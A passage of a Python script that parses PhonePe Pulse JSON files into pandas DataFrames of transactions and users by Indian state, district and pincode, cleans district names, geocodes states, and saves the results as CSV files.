pd.DataFrame(agg_user_dict)\r\n    agg_user_state_df.insert(\r\n                                0,\r\n                                'Region', agg_user_state_df['State']\r\n                                .map({state: region for region, states in state_groups.items() for state in states})\r\n                            )\r\n    \r\n    \r\n    return agg_user_state_df\r\n\r\n\r\ndef get_map_state_trans_df():\r\n    map_trans_dict = {\r\n                        'State': [],\r\n                        'District': [],\r\n                        'Year': [],\r\n                        'Quarter': [],\r\n                        'Transaction_count': [],\r\n                        'Transaction_amount': []\r\n                    }\r\n\r\n    \r\n    agg_trans_st_names = os.listdir(repo_path_map_state_trans)\r\n    #agg_trans_st_path = \"\"\r\n    for states in agg_trans_st_names:\r\n        agg_trans_st_path = repo_path_map_state_trans+\"/\"+states\r\n        st_year = os.listdir(agg_trans_st_path)\r\n        for year in st_year:\r\n            agg_trans_st_year_path = agg_trans_st_path+\"/\"+year+\"/\"\r\n            agg_trans_st_year = os.listdir(agg_trans_st_year_path)\r\n            for json_files in agg_trans_st_year:\r\n                json_file_name = agg_trans_st_year_path+json_files\r\n                json_data = open(json_file_name, 'r')\r\n                data = json.load(json_data)\r\n                \r\n                try:\r\n                    for elem in data['data'][\"hoverDataList\"]:\r\n                        district = elem['name']\r\n                        trans_count = elem['metric'][0]['count']\r\n                        trans_amount = elem['metric'][0]['amount']\r\n                        map_trans_dict['District'].append(\r\n                                                            district.title()\r\n                                                            .replace(' And', ' and')\r\n                                                            .replace('andaman', 'Andaman')\r\n                                                            .replace('District','')\r\n                                                            .replace('Nicobars','Nicobar')\r\n                                                            .replace('Ribhoi','Ri Bhoi')\r\n                                                            .replace('North Twenty Four Parganas','North 24 Parganas')\r\n                                                            .replace('South Twenty Four Parganas','South 24 Parganas')\r\n                                                        )\r\n                        map_trans_dict['Transaction_count'].append(trans_count)\r\n                        map_trans_dict['Transaction_amount'].append(trans_amount)\r\n                        map_trans_dict['State'].append(states)\r\n                        map_trans_dict['Year'].append(year)\r\n                        map_trans_dict['Quarter'].append('Q'+json_files.strip('.json'))\r\n                except TypeError:\r\n                    pass\r\n    agg_map_trans_dict_df = pd.DataFrame(map_trans_dict)\r\n    \r\n    delhi_filter = agg_map_trans_dict_df['State'] == 'Delhi'\r\n    for index, row in agg_map_trans_dict_df.loc[delhi_filter].iterrows():\r\n        district = row['District']\r\n        if not district.endswith('Delhi') and 'Delhi' not in district:\r\n            agg_map_trans_dict_df.at[index, 'District'] = district + ' Delhi'\r\n            \r\n    sikkim_filter = agg_map_trans_dict_df['State'] == 'Sikkim'\r\n    for index, row in agg_map_trans_dict_df.loc[sikkim_filter].iterrows():\r\n        district = row['District']\r\n        if not district.endswith('Sikkim') and 'Sikkim' not in district:\r\n            agg_map_trans_dict_df.at[index, 'District'] = district + ' Sikkim'\r\n    \r\n    agg_map_trans_dict_df.insert(\r\n                                    0, \r\n                                    'Region',\r\n                                    agg_map_trans_dict_df['State']\r\n                                    .map({state: region for region, states in state_groups.items() for state in states})\r\n                                )\r\n    \r\n    agg_map_trans_dict_df['District'] = agg_map_trans_dict_df['District'].str.replace('  ',' ')\r\n    \r\n    return agg_map_trans_dict_df\r\n\r\n\r\ndef get_map_state_user_df():\r\n    map_user_dict = {\r\n                        'State': [],\r\n                        'District': [],\r\n                        'Year': [],\r\n                        'Quarter': [],\r\n                        'Registered_user': [],\r\n                        'App_opening': []\r\n                    }\r\n    \r\n    agg_trans_st_names = os.listdir(repo_path_map_state_user)\r\n    #agg_trans_st_path = \"\"\r\n    for states in agg_trans_st_names:\r\n        agg_trans_st_path = repo_path_map_state_user+\"/\"+states\r\n        st_year = os.listdir(agg_trans_st_path)\r\n        for year in st_year:\r\n            agg_trans_st_year_path = agg_trans_st_path+\"/\"+year+\"/\"\r\n            agg_trans_st_year = os.listdir(agg_trans_st_year_path)\r\n            for json_files in agg_trans_st_year:\r\n                json_file_name = agg_trans_st_year_path+json_files\r\n                json_data = open(json_file_name, 'r')\r\n                data = json.load(json_data)\r\n                \r\n                try:\r\n                    for elem in data['data'][\"hoverData\"]:\r\n                        district = elem\r\n                        registeredUser =  data['data'][\"hoverData\"][elem][\"registeredUsers\"]\r\n                        app_opening = data['data'][\"hoverData\"][elem][\"appOpens\"]\r\n                        map_user_dict['District'].append(\r\n                                                            district.title()\r\n                                                            .replace(' And', ' and')\r\n                                                            .replace('andaman', 'Andaman')\r\n                                                            .replace('District','')\r\n                                                            .replace('Nicobars','Nicobar')\r\n                                                            .replace('Ribhoi','Ri Bhoi')\r\n                                                            .replace('North Twenty Four Parganas','North 24 Parganas')\r\n                                                            .replace('South Twenty Four Parganas','South 24 Parganas')\r\n                                                        )\r\n                        map_user_dict['Registered_user'].append(registeredUser)\r\n                        map_user_dict['App_opening'].append(app_opening)\r\n                        map_user_dict['State'].append(states)\r\n                        map_user_dict['Year'].append(year)\r\n                        map_user_dict['Quarter'].append('Q'+json_files.strip('.json'))\r\n                except TypeError:\r\n                    pass\r\n    agg_map_user_dict_df = pd.DataFrame(map_user_dict)\r\n    \r\n    delhi_filter = agg_map_user_dict_df['State'] == 'Delhi'\r\n    for index, row in agg_map_user_dict_df.loc[delhi_filter].iterrows():\r\n        district = row['District']\r\n        if not district.endswith('Delhi') and 'Delhi' not in district:\r\n            agg_map_user_dict_df.at[index, 'District'] = district + ' Delhi'\r\n            \r\n    sikkim_filter = agg_map_user_dict_df['State'] == 'Sikkim'\r\n    for index, row in agg_map_user_dict_df.loc[sikkim_filter].iterrows():\r\n        district = row['District']\r\n        if not district.endswith('Sikkim') and 'Sikkim' not in district:\r\n            agg_map_user_dict_df.at[index, 'District'] = district + ' Sikkim'\r\n    \r\n    agg_map_user_dict_df.insert(\r\n                                0,\r\n                                'Region', agg_map_user_dict_df['State']\r\n                                .map({state: region for region, states in state_groups.items() for state in states})\r\n                            )\r\n    \r\n    agg_map_user_dict_df['District'] = agg_map_user_dict_df['District'].str.replace('  ',' ')\r\n    \r\n    return agg_map_user_dict_df\r\n\r\n\r\ndef get_top_state_trans_df():\r\n    tot_trans_state_dict = {\r\n                        'State': [],\r\n                        'District': [],\r\n                        'Year': [],\r\n                        'Quarter': [],\r\n                        'Total_transaction_count': [],\r\n                        'Total_transaction_amount': []\r\n                    }\r\n\r\n    \r\n    agg_trans_st_names = os.listdir(repo_path_top_state_trans)\r\n    #agg_trans_st_path = \"\"\r\n    for states in agg_trans_st_names:\r\n        tot_trans_st_path = repo_path_top_state_trans+\"/\"+states\r\n        st_year = os.listdir(tot_trans_st_path)\r\n        for year in st_year:\r\n            agg_trans_st_year_path = tot_trans_st_path+\"/\"+year+\"/\"\r\n            agg_trans_st_year = os.listdir(agg_trans_st_year_path)\r\n            for json_files in agg_trans_st_year:\r\n                json_file_name = agg_trans_st_year_path+json_files\r\n                json_data = open(json_file_name, 'r')\r\n                data = json.load(json_data)\r\n                \r\n                try:\r\n                    for elem in data['data'][\"districts\"]:\r\n                        district = elem['entityName']\r\n                        tot_trans_count = elem['metric']['count']\r\n                        trans_amount = elem['metric']['amount']\r\n                        tot_trans_state_dict['District'].append(\r\n                                                            district.title()\r\n                                                            .replace(' And', ' and')\r\n                                                            .replace('andaman', 'Andaman')\r\n                                                            .replace('District','')\r\n                                                            .replace('Nicobars','Nicobar')\r\n                                                            .replace('Ribhoi','Ri Bhoi')\r\n                                                            .replace('North Twenty Four Parganas','North 24 Parganas')\r\n                                                            .replace('South Twenty Four Parganas','South 24 Parganas')\r\n                                                        )\r\n                        tot_trans_state_dict['Total_transaction_count'].append(tot_trans_count)\r\n                        tot_trans_state_dict['Total_transaction_amount'].append(trans_amount)\r\n                        tot_trans_state_dict['State'].append(states)\r\n                        tot_trans_state_dict['Year'].append(year)\r\n                        tot_trans_state_dict['Quarter'].append('Q'+json_files.strip('.json'))\r\n                except TypeError:\r\n                    pass\r\n    tot_state_trans_dict_df = pd.DataFrame(tot_trans_state_dict)\r\n    \r\n    delhi_filter = tot_state_trans_dict_df['State'] == 'Delhi'\r\n    for index, row in tot_state_trans_dict_df.loc[delhi_filter].iterrows():\r\n        district = row['District']\r\n        if not district.endswith('Delhi') and 'Delhi' not in district:\r\n            tot_state_trans_dict_df.at[index, 'District'] = district + ' Delhi'\r\n            \r\n    sikkim_filter = tot_state_trans_dict_df['State'] == 'Sikkim'\r\n    for index, row in tot_state_trans_dict_df.loc[sikkim_filter].iterrows():\r\n        district = row['District']\r\n        if not district.endswith('Sikkim') and 'Sikkim' not in district:\r\n            tot_state_trans_dict_df.at[index, 'District'] = district + ' Sikkim'\r\n    \r\n    tot_state_trans_dict_df.insert(\r\n                                    0,\r\n                                    'Region', tot_state_trans_dict_df['State']\r\n                                    .map({state: region for region, states in state_groups.items() for state in states})\r\n                                )\r\n    \r\n    tot_state_trans_dict_df['District'] = tot_state_trans_dict_df['District'].str.replace('  ',' ')\r\n    \r\n    return tot_state_trans_dict_df\r\n\r\n\r\ndef get_top_state_user_df():\r\n    tot_user_state_dict = {\r\n                        'State': [],\r\n                        'District': [],\r\n                        'Year': [],\r\n                        'Quarter': [],\r\n                        'Registered_user': []\r\n                    }\r\n    \r\n    agg_trans_st_names = os.listdir(repo_path_top_state_user)\r\n    #agg_trans_st_path = \"\"\r\n    for states in agg_trans_st_names:\r\n        agg_trans_st_path = repo_path_top_state_user+\"/\"+states\r\n        st_year = os.listdir(agg_trans_st_path)\r\n        for year in st_year:\r\n            agg_trans_st_year_path = agg_trans_st_path+\"/\"+year+\"/\"\r\n            agg_trans_st_year = os.listdir(agg_trans_st_year_path)\r\n            for json_files in agg_trans_st_year:\r\n                json_file_name = agg_trans_st_year_path+json_files\r\n                json_data = open(json_file_name, 'r')\r\n                data = json.load(json_data)\r\n                try:\r\n                    for elem in data['data'][\"districts\"]:\r\n                        district = elem['name']\r\n                        registeredUser =  elem[\"registeredUsers\"]\r\n                        tot_user_state_dict['District'].append(\r\n                                                            district.title()\r\n                                                            .replace(' And', ' and')\r\n                                                            .replace('andaman', 'Andaman')\r\n                                                            .replace('District','')\r\n                                                            .replace('Nicobars','Nicobar')\r\n                                                            .replace('Ribhoi','Ri Bhoi')\r\n                                                            .replace('North Twenty Four Parganas','North 24 Parganas')\r\n                                                            .replace('South Twenty Four Parganas','South 24 Parganas')\r\n                                                        )\r\n                        tot_user_state_dict['Registered_user'].append(registeredUser)\r\n                        tot_user_state_dict['State'].append(states)\r\n                        tot_user_state_dict['Year'].append(year)\r\n                        tot_user_state_dict['Quarter'].append('Q'+json_files.strip('.json'))\r\n                except TypeError:\r\n                    pass\r\n    tot_state_user_dict_df = pd.DataFrame(tot_user_state_dict)\r\n    \r\n    delhi_filter = tot_state_user_dict_df['State'] == 'Delhi'\r\n    for index, row in tot_state_user_dict_df.loc[delhi_filter].iterrows():\r\n        district = row['District']\r\n        if not district.endswith('Delhi') and 'Delhi' not in district:\r\n            tot_state_user_dict_df.at[index, 'District'] = district + ' Delhi'\r\n    \r\n    sikkim_filter = tot_state_user_dict_df['State'] == 'Sikkim'\r\n    for index, row in tot_state_user_dict_df.loc[sikkim_filter].iterrows():\r\n        district = row['District']\r\n        if not district.endswith('Sikkim') and 'Sikkim' not in district:\r\n            tot_state_user_dict_df.at[index, 'District'] = district + ' Sikkim'\r\n            \r\n    tot_state_user_dict_df.insert(\r\n                                    0,\r\n                                    'Region', tot_state_user_dict_df['State']\r\n                                    .map({state: region for region, states in state_groups.items() for state in states})\r\n                                )\r\n    \r\n    tot_state_user_dict_df['District'] = tot_state_user_dict_df['District'].str.replace('  ',' ')\r\n    \r\n    return tot_state_user_dict_df\r\n\r\n\r\ndef get_top_state_trans_pin_df():\r\n    tot_trans_state_pin_dict = {\r\n                        'State': [],\r\n                        'Pincode': [],\r\n                        'Year': [],\r\n                        'Quarter': [],\r\n                        'Total_transaction_count': [],\r\n                        'Total_transaction_amount': []\r\n                    }\r\n\r\n    \r\n    agg_trans_st_names = os.listdir(repo_path_top_state_trans)\r\n    #agg_trans_st_path = \"\"\r\n    for states in agg_trans_st_names:\r\n        tot_trans_st_path = repo_path_top_state_trans+\"/\"+states\r\n        st_year = os.listdir(tot_trans_st_path)\r\n        for year in st_year:\r\n            agg_trans_st_year_path = tot_trans_st_path+\"/\"+year+\"/\"\r\n            agg_trans_st_year = os.listdir(agg_trans_st_year_path)\r\n            for json_files in agg_trans_st_year:\r\n                json_file_name = agg_trans_st_year_path+json_files\r\n                json_data = open(json_file_name, 'r')\r\n                data = json.load(json_data)\r\n                \r\n                try:\r\n                    for elem in data['data'][\"pincodes\"]:\r\n                        pincodes = elem['entityName']\r\n                        tot_trans_count = elem['metric']['count']\r\n                        trans_amount = elem['metric']['amount']\r\n                        tot_trans_state_pin_dict['Pincode'].append(pincodes)\r\n                        tot_trans_state_pin_dict['Total_transaction_count'].append(tot_trans_count)\r\n                        tot_trans_state_pin_dict['Total_transaction_amount'].append(trans_amount)\r\n                        tot_trans_state_pin_dict['State'].append(states)\r\n                        tot_trans_state_pin_dict['Year'].append(year)\r\n                        tot_trans_state_pin_dict['Quarter'].append('Q'+json_files.strip('.json'))\r\n                except TypeError:\r\n                    pass\r\n    tot_state_trans_pin_dict_df = pd.DataFrame(tot_trans_state_pin_dict)\r\n    \r\n    tot_state_trans_pin_dict_df.insert(\r\n                                        0,\r\n                                        'Region', tot_state_trans_pin_dict_df['State']\r\n                                        .map({state: region for region, states in state_groups.items() for state in states})\r\n                                    )\r\n    \r\n    return tot_state_trans_pin_dict_df\r\n\r\n\r\ndef get_top_state_user_pin_df():\r\n    tot_user_state_pin_dict = {\r\n                        'State': [],\r\n                        'Pincode': [],\r\n                        'Year': [],\r\n                        'Quarter': [],\r\n                        'Registered_user': []\r\n                    }\r\n    \r\n    agg_trans_st_names = os.listdir(repo_path_top_state_user)\r\n    #agg_trans_st_path = \"\"\r\n    for states in agg_trans_st_names:\r\n        agg_trans_st_path = repo_path_top_state_user+\"/\"+states\r\n        st_year = os.listdir(agg_trans_st_path)\r\n        for year in st_year:\r\n            agg_trans_st_year_path = agg_trans_st_path+\"/\"+year+\"/\"\r\n            agg_trans_st_year = os.listdir(agg_trans_st_year_path)\r\n            for json_files in agg_trans_st_year:\r\n                json_file_name = agg_trans_st_year_path+json_files\r\n                json_data = open(json_file_name, 'r')\r\n                data = json.load(json_data)\r\n                try:\r\n                    for elem in data['data'][\"pincodes\"]:\r\n                        pincodes = elem['name']\r\n                        registeredUser =  elem[\"registeredUsers\"]\r\n                        tot_user_state_pin_dict['Pincode'].append(pincodes)\r\n                        tot_user_state_pin_dict['Registered_user'].append(registeredUser)\r\n                        tot_user_state_pin_dict['State'].append(states)\r\n                        tot_user_state_pin_dict['Year'].append(year)\r\n                        tot_user_state_pin_dict['Quarter'].append('Q'+json_files.strip('.json'))\r\n                except TypeError:\r\n                    pass\r\n    # for key in tot_user_state_pin_dict.keys():\r\n    #     print(f\"{key}: {len(tot_user_state_pin_dict[key])}\")\r\n    \r\n    tot_state_user_pin_dict_df = pd.DataFrame(tot_user_state_pin_dict)\r\n    \r\n    tot_state_user_pin_dict_df.insert(\r\n                                        0,\r\n                                        'Region', tot_state_user_pin_dict_df['State']\r\n                                        .map({state: region for region, states in state_groups.items() for state in states})\r\n                                    )\r\n    \r\n    return tot_state_user_pin_dict_df\r\n\r\n\r\ndef get_state_lat_long_df():\r\n    all_state_district_dict = {\r\n                        'State': [],\r\n                        'District': []\r\n                    }\r\n    \r\n    agg_trans_st_names = os.listdir(repo_path_map_state_trans)\r\n    #agg_trans_st_path = \"\"\r\n    for states in agg_trans_st_names:\r\n        agg_trans_st_path = repo_path_top_state_user+\"/\"+states\r\n        st_year = os.listdir(agg_trans_st_path)\r\n        for year in st_year:\r\n            agg_trans_st_year_path = agg_trans_st_path+\"/\"+year+\"/\"\r\n            agg_trans_st_year = os.listdir(agg_trans_st_year_path)\r\n            for json_files in agg_trans_st_year:\r\n                json_file_name = agg_trans_st_year_path+json_files\r\n                json_data = open(json_file_name, 'r')\r\n                data = json.load(json_data)\r\n                try:\r\n                    for elem in data['data'][\"districts\"]:\r\n                        district = elem['name']\r\n                        all_state_district_dict['District'].append(\r\n                                                            district.title()\r\n                                                            .replace(' And', ' and')\r\n                                                            .replace('andaman', 'Andaman')\r\n                                                            .replace('District','')\r\n                                                            .replace('Nicobars','Nicobar')\r\n                                                            .replace('Ribhoi','Ri Bhoi')\r\n                                                            .replace('North Twenty Four Parganas','North 24 Parganas')\r\n                                                            .replace('South Twenty Four Parganas','South 24 Parganas')\r\n                                                        )\r\n                        all_state_district_dict['State'].append(states)\r\n                except TypeError:\r\n                    pass\r\n    all_state_district_df = pd.DataFrame(all_state_district_dict)\r\n    all_state_district_df = all_state_district_df[['State', 'District']].drop_duplicates(subset=['District'])\r\n    all_state_df = all_state_district_df['State'].drop_duplicates().reset_index(drop = True).to_frame(name='State')\r\n    \r\n    # Initialize geocoder\r\n    geolocator = Nominatim(user_agent='my_geocoder')\r\n\r\n    # Create empty columns for latitude and longitude\r\n    all_state_district_df['Latitude'] = None\r\n    all_state_district_df['Longitude'] = None\r\n    all_state_df['Latitude'] = None\r\n    all_state_df['Longitude'] = None\r\n    \r\n        \r\n    for index, row in all_state_df.iterrows():\r\n        state = row['State']    \r\n        # Create the address string for state\r\n        state_address = f'{state}, India'\r\n        try:\r\n            # Geocode the state address\r\n            state_location = geolocator.geocode(state_address)\r\n            \r\n            # Extract latitude and longitude for state\r\n            state_latitude = state_location.latitude\r\n            state_longitude = state_location.longitude\r\n            \r\n            # Assign latitude and longitude to the DataFrame for state\r\n            all_state_df.at[index, 'Latitude'] = state_latitude\r\n            all_state_df.at[index, 'Longitude'] = state_longitude\r\n            \r\n        except:\r\n            print(f'Geocoding failed for state: {state_address}')\r\n\r\n    \r\n    all_state_df.insert(\r\n                                        0,\r\n                                        'Region', all_state_df['State']\r\n                                        .map({state: region for region, states in state_groups.items() for state in states})\r\n                                    )\r\n\r\n    return all_state_df\r\n\r\n\r\ndef get_state_trans_csv(all_user_df,all_csv_names):\r\n    path = \"D:/Guvi/Projects/PhonePe/preprocesseddata\"\r\n    if not os.path.exists(path):\r\n        os.makedirs(path)\r\n    \r\n    for df_index,dataFs in enumerate(all_user_df):\r\n        # save the DataFrame to a CSV file in the specified directory\r\n        file_path = os.path.join(path, all_csv_names[df_index]+\".csv\") \r\n        dataFs.to_csv(file_path, index=False)\r\n    \r\n\r\ndef get_all_lat_long_district(agg_map_state_trans_df):\r\n    \r\n    path = \"D:/Guvi/Projects/PhonePe/preprocesseddata/\"\r\n    \r\n    all_state_district_df = pd.read_csv(path+\"state_district_lat.csv\")\r\n\r\n    agg_map_state_trans_df['District']=(\r\n                                        agg_map_state_trans_df['District']\r\n                                                        .str.replace('Spsr Nellore', 'Nellore')\r\n                                                        .str.replace('Ysr', 'YSR Kadapa')\r\n                                                        .str.replace('South Salmara Mancachar', 'South Salmara-Mankachar')\r\n                                                        .str.replace('Marigaon', 'Morigaon')\r\n                                                        .str.replace('Pashchim Champaran', 'West Champaran')\r\n                                                        .str.replace('Kaimur Bhabua', 'Kaimur')\r\n                                                        .str.replace('Purbi Champaran', 'East Champaran')\r\n                                                        .str.replace('Janjgir Champa', 'Janjgir-Champa')\r\n                                                        .str.replace('Marigaon', 'Morigaon')\r\n                                                        .str.replace('  ', ' ')\r\n                                                        .str.replace('Shahdara  Delhi', 'Shahdara')\r\n                                                        .str.replace('Devbhumi Dwarka', 'Devbhoomi Dwarka')\r\n                                                        .str.replace('Aravallis', 'Aravalli')\r\n                                                        .str.replace('Chhotaudepur', 'Chhota Udepur')\r\n                                                        .str.replace('Mahesana', 'Mehsana')\r\n                                                        .str.replace('The Dangs', 'Dangs')\r\n                                                        .str.replace('Panch Mahals', 'Panchmahal')\r\n                                                        .str.replace('Sabar Kantha', 'Sabarkantha')\r\n                                                        .str.replace('Banas Kantha', 'Banaskantha')\r\n                                                        .str.replace('Ahmadabad', 'Ahmedabad')\r\n                                                        .str.replace('Dohad', 'Dahod')\r\n                                                        .str.replace('Hazaribagh', 'Hazaribag')\r\n                                                        .str.replace('Saraikela Kharsawan', 'Seraikela-Kharsawan')\r\n                                                        .str.replace('Sahebganj', 'Sahibganj')\r\n                                                        .str.replace('Chikkaballapura', 'Chikballapur')\r\n                                                        .str.replace('Davanagere', 'Davangere')\r\n                                                        .str.replace('Bagalkote', 'Bagalkot')\r\n                                                        .str.replace('Chamarajanagara', 'Chamarajanagar')\r\n                                                        .str.replace('Leh Ladakh', 'Leh')\r\n                                                        .str.replace('Mumbai', 'Mumbai City')\r\n                                                        .str.replace('Mumbai City Suburban', 'Mumbai Suburban')\r\n                                                        .str.replace('Anugul', 'Angul')\r\n                                                        .str.replace('Jajapur', 'Jajpur')\r\n                                                        .str.replace('Baleshwar', 'Balasore')\r\n                                                        .str.replace('Puducherry', 'Pondicherry')\r\n                                                        .str.replace('Firozepur', 'Ferozepur')\r\n                                                        .str.replace('Ganganagar', 'Sri Ganganagar')\r\n                                                        .str.replace('Kancheepuram', 'Kanchipuram')\r\n                                                        .str.replace('Thoothukkudi', 'Thoothukudi')\r\n                                                        .str.replace('The Nilgiris', 'Nilgiris')\r\n                                                        .str.replace('Kanniyakumari', 'Kanyakumari')\r\n                                                        .str.replace('Thiruvallur', 'Tiruvallur')\r\n                                                        .str.replace('Thiruvarur', 'Tiruvarur')\r\n                                                        .str.replace('Warangal Rural', 'Warangal')\r\n                                                        .str.replace('Kumuram Bheem Asifabad', 'Komaram Bheem Asifabad')\r\n                                                        .str.replace('Peddapalle', 'Peddapalli')\r\n                                                        .str.replace('Mahbubnagar', 'Mahabubnagar')\r\n                                                        .str.replace('Jaya Shankar Bhalupally', 'Bhupalpally')\r\n                                                        .str.replace('Warangal Urban', 'Warangal')\r\n                                                        .str.replace('Siddharthnagar', 'Siddharth Nagar')\r\n                                                        .str.replace('Sant Kabeer Nagar', 'Sant Kabir Nagar')\r\n                                                        .str.replace('Bara Banki', 'Barabanki')\r\n                                                        .str.replace('Rae Bareli', 'RaeBareli')\r\n                                                        .str.replace('Maldah', 'Malda')\r\n                                                        .str.replace('Darjiling', 'Darjeeling')\r\n                                                        .str.replace('Gurugram', 'Gurgaon')\r\n                                                        .str.replace('Shahdara Delhi', 'Shahdara')\r\n                                                        .str.replace('Medchal Malkajgiri', 'Medchal')\r\n                                                        .str.replace('Kheri', 'Lakhimpur - Kheri')\r\n        \r\n\r\n                                    )\r\n    agg_map_state_trans_df['State'] = (\r\n                            agg_map_state_trans_df['State']\r\n                                                    .str.replace('Dadra and Nagar Haveli and Daman and Diu', 'Dadra and Nagar Haveli')\r\n                                        )\r\n\r\n    all_state_district_df['State'] = (\r\n                            all_state_district_df['State']\r\n                                                    .str.replace('  ', ' ')\r\n                                        )\r\n\r\n    all_state_district_df['District'] = (\r\n                            all_state_district_df['District']\r\n                                                    .str.replace('  ', ' ')\r\n                                                    .str.replace('Androth', 'Lakshadweep')\r\n                                                    .str.replace('Dadra & Nagar Haveli', 'Dadra and Nagar Haveli')\r\n                                        )\r\n\r\n    agg_map_state_trans_df['Latitude'] = None\r\n    agg_map_state_trans_df['Longitude'] = None\r\n\r\n    agg_map_state_trans_df['State'] = agg_map_state_trans_df['State'].str.strip()\r\n    agg_map_state_trans_df['District'] = agg_map_state_trans_df['District'].str.strip()\r\n    all_state_district_df['State'] = all_state_district_df['State'].str.strip()\r\n    all_state_district_df['District'] = all_state_district_df['District'].str.strip()\r\n\r\n\r\n\r\n    for index_lat, rows_lat in enumerate(all_state_district_df['District']):\r\n        for index_map,row_map in enumerate(agg_map_state_trans_df['District']):\r\n            if rows_lat == row_map:\r\n                agg_map_state_trans_df['Latitude'].at[index_map] = all_state_district_df['Latitude'].iloc[index_lat]\r\n                agg_map_state_trans_df['Longitude'].at[index_map] = all_state_district_df['Longitude'].iloc[index_lat]\r\n                \r\n    return agg_map_state_trans_df\r\n\r\n\r\ndef all_dist_lat(all_dist_lat_list):\r\n    all_dist_lat_return = []\r\n    for index,df in enumerate(all_dist_lat_list):\r\n        dfs = get_all_lat_long_district(df)\r\n        print(dfs)\r\n        # if index == 0:\r\n        #     agg_map_state_trans_df = dfs\r\n        # elif index == 1:\r\n        #     agg_map_state_user_df = dfs\r\n        # elif index == 2:\r\n        #     top_state_trans_df = dfs\r\n        # elif index == 3:\r\n        #     top_state_user_df = dfs\r\n        all_dist_lat_return.append(dfs)\r\n    # all_dist_lat_return.append(agg_map_state_trans_df)\r\n    # all_dist_lat_return.append(agg_map_state_user_df)\r\n    # all_dist_lat_return.append(top_state_trans_df)\r\n    # all_dist_lat_return.append(top_state_user_df)\r\n    \r\n    return all_dist_lat_return\r\n\r\n\r\ndef get_warangal_back(all_dist_lat_list):\r\n    all_dist_lat_return_war = []\r\n    old_value = 'Warangal'\r\n    new_value = 'Warangal Rural'\r\n\r\n    for df in all_dist_lat_list:\r\n        indices = np.where(df['District'] == old_value)[0]\r\n\r\n        # Check if the count is even and greater than or equal to 8\r\n        if len(indices) % 2 == 0 and len(indices) >= 4:\r\n            # Iterate over the indices and change alternate occurrences\r\n            for i in range(1, len(indices), 2):\r\n                df.at[indices[i], 'District'] = new_value\r\n        all_dist_lat_return_war.append(df)\r\n        \r\n        \r\n    # all_dist_lat_return_war.append(agg_map_state_trans_df)\r\n    # all_dist_lat_return_war.append(agg_map_state_user_df)\r\n    # all_dist_lat_return_war.append(top_state_trans_df)\r\n    # all_dist_lat_return_war.append(top_state_user_df)\r\n    \r\n    return all_dist_lat_return_war\r\n\r\n\r\ndef preprocessing_data(all_user_df):\r\n    \r\n    pd.set_option('display.max_rows', 10)\r\n    pd.set_option('display.max_columns', None)\r\n    \r\n    # for df_name in all_user_df:\r\n    #     for name, val in globals().items():\r\n    #         if val is df_name:\r\n    #             print(name)\r\n    #             pass\r\n    #     print(f\"{df_name} :\")    \r\n    #     print(f\"Null count: \\n{df_name.isnull().sum()}\")\r\n    #     print(f\"Duplicated rows count: \\n{df_name.duplicated().sum()}\")\r\n    #     print(f\"Unique values count: \\n{df_name.nunique()}\")\r\n    #     print(df_name.shape)\r\n    #     print(df_name.dtypes)\r\n    #     print(f\"Descrbe : \\n{df_name.describe()}\")\r\n    #     print('DATAFRAME INFO:\\n')\r\n    #     print(df_name.info())\r\n    #     print(\"\\n\", 50 * \"*-*\", \"\\n\")\r\n\r\n    #  There are 2 null values in top_state_trans_pin_df\r\n    # top_state_trans_pin_df = pd.read_csv('D:/Guvi/Projects/PhonePe/preprocesseddata/top_state_trans_pin_data.csv')\r\n\r\n    # Create a boolean mask for the null values\r\n    null_mask = top_state_trans_pin_df.isna().any(axis=1)\r\n\r\n    # Select only the rows with null values\r\n    null_rows = top_state_trans_pin_df[null_mask]\r\n\r\n    # Print the boolean mask\r\n    # pd.set_option('display.max_rows', 100)\r\n    # Convert the Year column to a string type column\r\n    top_state_trans_pin_df['Year'] = top_state_trans_pin_df['Year'].astype(str)\r\n    top_state_trans_pin_df['Pincode'] = top_state_trans_pin_df['Pincode'].fillna(194105)\r\n    # print(top_state_trans_pin_df.dtypes)\r\n    \r\n    # Create a boolean mask for the desired state and year values\r\n    # mask = (top_state_trans_pin_df['State'] == 'Ladakh') & (top_state_trans_pin_df['Year'].isin(['2019', '2020']))\r\n\r\n    # Select the rows that match the boolean mask\r\n    # selected_rows = top_state_trans_pin_df.loc[mask, :]\r\n\r\n    # Print the selected rows\r\n    # print(selected_rows)\r\n    \r\n    all_user_df[7] = top_state_trans_pin_df\r\n    \r\n    # pd.set_option('display.max_rows', None)\r\n    # pd.set_option('display.max_columns', None)\r\n    mask = (all_user_df[7]['State'] == 'Ladakh') & (all_user_df[7]['Quarter'] == 'Q4') & (all_user_df[7]['Year'].isin(['2020', '2019']))\r\n    selected_rows = all_user_df[7].loc[mask, ['Pincode', 'Quarter', 'Year']]\r\n\r\n    # Print the selected rows\r\n    print(selected_rows)\r\n    \r\n    for df_name in all_user_df:\r\n        for name, val in locals().items():\r\n            if val is df_name:\r\n                print(\"Local variable name:\", name)\r\n        for name, val in globals().items():\r\n            if val is df_name:\r\n                print(\"Global variable name:\", name)\r\n        print(f\"Null count: \\n{df_name.isnull().sum()}\")\r\n        \r\n    \r\n        \r\n    return all_user_df,top_state_trans_pin_df\r\n\r\n\r\n# get_git_clone_pull(repo_path) #################\r\nagg_trans_state_df = get_state_trans_df()\r\nagg_user_state_df = get_state_user_df()\r\nagg_map_state_trans_df = get_map_state_trans_df()\r\nagg_map_state_user_df = get_map_state_user_df()\r\ntop_state_trans_df = get_top_state_trans_df()\r\ntop_state_user_df = get_top_state_user_df()\r\ntop_state_user_pin_df = get_top_state_user_pin_df()\r\ntop_state_trans_pin_df = get_top_state_trans_pin_df()\r\nall_state_df = get_state_lat_long_df()\r\n\r\n\r\nall_dist_lat_list = [\r\n                agg_map_state_trans_df,\r\n                agg_map_state_user_df,\r\n                top_state_trans_df,\r\n                top_state_user_df\r\n]\r\nall_dist_lat_list_return = all_dist_lat(all_dist_lat_list)\r\n\r\nall_dist_lat_return_war = get_warangal_back(all_dist_lat_list_return)\r\n\r\nall_user_df = [\r\n                agg_trans_state_df,\r\n                agg_user_state_df,\r\n                agg_map_state_trans_df,\r\n                agg_map_state_user_df,\r\n                top_state_trans_df,\r\n                top_state_user_df,\r\n                top_state_user_pin_df,\r\n                top_state_trans_pin_df,\r\n                all_state_df\r\n               ]\r\n\r\nget_state_trans_csv(all_user_df,all_csv_names)\r\nget_state_trans_csv(all_dist_lat_return_war,all_csv_names_lat)\r\n\r\nall_user_df,top_state_trans_pin_df = preprocessing_data(all_user_df)\r\n\r\n\r\nget_state_trans_csv(all_user_df,all_csv_names)\r\nget_state_trans_csv(all_dist_lat_return_war,all_csv_names_lat)\r\n\r\nagg_trans_state_df, agg_user_state_df, 